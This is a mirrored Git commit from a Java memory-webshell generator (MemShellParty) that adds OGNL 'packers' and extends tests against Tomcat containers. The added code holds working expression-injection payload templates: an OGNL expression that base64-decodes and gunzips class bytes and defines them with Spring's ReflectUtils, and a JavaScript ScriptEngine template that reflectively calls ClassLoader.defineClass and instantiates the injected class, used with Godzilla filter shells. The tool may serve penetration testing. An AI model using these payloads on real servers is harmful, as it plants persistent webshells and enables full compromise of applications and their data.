mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support OGNL SpringUtils packers
This commit is contained in:
+2
-2
@@ -324,8 +324,8 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
case ScriptEngine -> VulTool.postData(url + "/js", content);
|
||||||
case EL -> VulTool.postData(url + "/el", content);
|
case EL -> VulTool.postData(url + "/el", content);
|
||||||
case SpEL, SpELSpringIOUtils -> VulTool.postData(url + "/spel", content);
|
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content);
|
||||||
case OGNL -> VulTool.postData(url + "/ognl", content);
|
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content);
|
||||||
case MVEL -> VulTool.postData(url + "/mvel", content);
|
case MVEL -> VulTool.postData(url + "/mvel", content);
|
||||||
case JXPath -> VulTool.postData(url + "/jxpath", content);
|
case JXPath -> VulTool.postData(url + "/jxpath", content);
|
||||||
case JEXL -> VulTool.postData(url + "/jexl2", content);
|
case JEXL -> VulTool.postData(url + "/jexl2", content);
|
||||||
|
|||||||
+6
-2
@@ -43,9 +43,13 @@ public class Tomcat8ExpressionContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringUtils),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpEL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringUtils),
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath),
|
||||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
|
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator),
|
||||||
|
|||||||
@@ -31,6 +31,9 @@ import com.reajason.javaweb.packer.jsp.JspxPacker;
|
|||||||
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
|
import com.reajason.javaweb.packer.jxpath.JXPathPacker;
|
||||||
import com.reajason.javaweb.packer.mvel.MVELPacker;
|
import com.reajason.javaweb.packer.mvel.MVELPacker;
|
||||||
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
import com.reajason.javaweb.packer.ognl.OGNLPacker;
|
||||||
|
import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker;
|
||||||
|
import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker;
|
||||||
|
import com.reajason.javaweb.packer.ognl.OGNLSpringUtilsPacker;
|
||||||
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
import com.reajason.javaweb.packer.rhino.RhinoPacker;
|
||||||
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker;
|
||||||
import com.reajason.javaweb.packer.spel.SpELPacker;
|
import com.reajason.javaweb.packer.spel.SpELPacker;
|
||||||
@@ -83,7 +86,12 @@ public enum Packers {
|
|||||||
* EL
|
* EL
|
||||||
*/
|
*/
|
||||||
EL(new ELPacker()),
|
EL(new ELPacker()),
|
||||||
|
|
||||||
OGNL(new OGNLPacker()),
|
OGNL(new OGNLPacker()),
|
||||||
|
OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class),
|
||||||
|
OGNLSpringUtils(new OGNLSpringUtilsPacker(), OGNLPacker.class),
|
||||||
|
OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class),
|
||||||
|
|
||||||
MVEL(new MVELPacker()),
|
MVEL(new MVELPacker()),
|
||||||
Aviator(new AviatorPacker()),
|
Aviator(new AviatorPacker()),
|
||||||
JXPath(new JXPathPacker()),
|
JXPath(new JXPathPacker()),
|
||||||
|
|||||||
@@ -1,19 +1,11 @@
|
|||||||
package com.reajason.javaweb.packer.ognl;
|
package com.reajason.javaweb.packer.ognl;
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.AggregatePacker;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/14
|
* @since 2024/12/14
|
||||||
*/
|
*/
|
||||||
public class OGNLPacker implements Packer {
|
public class OGNLPacker implements AggregatePacker {
|
||||||
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public String pack(ClassPackerConfig config) {
|
|
||||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
|
||||||
return template.replace("{{script}}", script);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
package com.reajason.javaweb.packer.ognl;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import com.reajason.javaweb.packer.Packers;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class OGNLScriptEnginePacker implements Packer {
|
||||||
|
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||||
|
return template.replace("{{script}}", script);
|
||||||
|
}
|
||||||
|
}
|
||||||
+33
@@ -0,0 +1,33 @@
|
|||||||
|
package com.reajason.javaweb.packer.ognl;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import com.reajason.javaweb.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/7
|
||||||
|
*/
|
||||||
|
public class OGNLSpringIOUtilsGzipPacker implements Packer {
|
||||||
|
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(ClassPackerConfig config) {
|
||||||
|
return template.replace("{{className}}", config.getClassName())
|
||||||
|
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||||
|
gzip.write(data);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -28,6 +28,7 @@ public class ScriptEnginePacker implements Packer {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
return jsTemplate
|
return jsTemplate
|
||||||
|
.replace("{{className}}", config.getClassName())
|
||||||
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
||||||
.replace("\n", "")
|
.replace("\n", "")
|
||||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||||
|
|||||||
+2
-2
@@ -3,10 +3,10 @@ package com.reajason.javaweb.packer.spel;
|
|||||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
import com.reajason.javaweb.packer.Packer;
|
import com.reajason.javaweb.packer.Packer;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.Base64;
|
|
||||||
import java.util.zip.GZIPOutputStream;
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -21,7 +21,7 @@ public class SpELSpringIOUtilsGzipPacker implements Packer {
|
|||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
return template.replace("{{className}}", config.getClassName())
|
return template.replace("{{className}}", config.getClassName())
|
||||||
.replace("{{base64Str}}", Base64.getEncoder().encodeToString(gzipCompress(config.getClassBytes())));
|
.replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes())));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
var base64Str = "{{base64Str}}";
|
var base64Str = "{{base64Str}}";
|
||||||
|
var className = "{{className}}";
|
||||||
var clsString = java.lang.Class.forName("java.lang.String");
|
var clsString = java.lang.Class.forName("java.lang.String");
|
||||||
var bytecode;
|
var bytecode;
|
||||||
try {
|
try {
|
||||||
@@ -10,7 +11,7 @@ try {
|
|||||||
}
|
}
|
||||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||||
var clsInt = java.lang.Integer.TYPE;
|
var clsInt = java.lang.Integer.TYPE;
|
||||||
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsString, clsByteArray, clsInt, clsInt]);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), className, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||||
clazz.newInstance();
|
clazz.newInstance();
|
||||||
@@ -31,6 +31,8 @@ dependencies {
|
|||||||
|
|
||||||
implementation("com.caucho:hessian:4.0.66")
|
implementation("com.caucho:hessian:4.0.66")
|
||||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||||
|
testImplementation(libs.junit.jupiter)
|
||||||
|
testRuntimeOnly(libs.junit.platform.launcher)
|
||||||
}
|
}
|
||||||
|
|
||||||
tasks.war {
|
tasks.war {
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
import ognl.Ognl;
|
||||||
|
import ognl.OgnlContext;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/7/22
|
||||||
|
*/
|
||||||
|
class OgnlServletTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test() throws Exception {
|
||||||
|
OgnlContext context = new OgnlContext();
|
||||||
|
Object value = null;
|
||||||
|
System.out.println(Ognl.getValue("(new java.io.File('.')).list()", context, context.getRoot()));
|
||||||
|
}
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user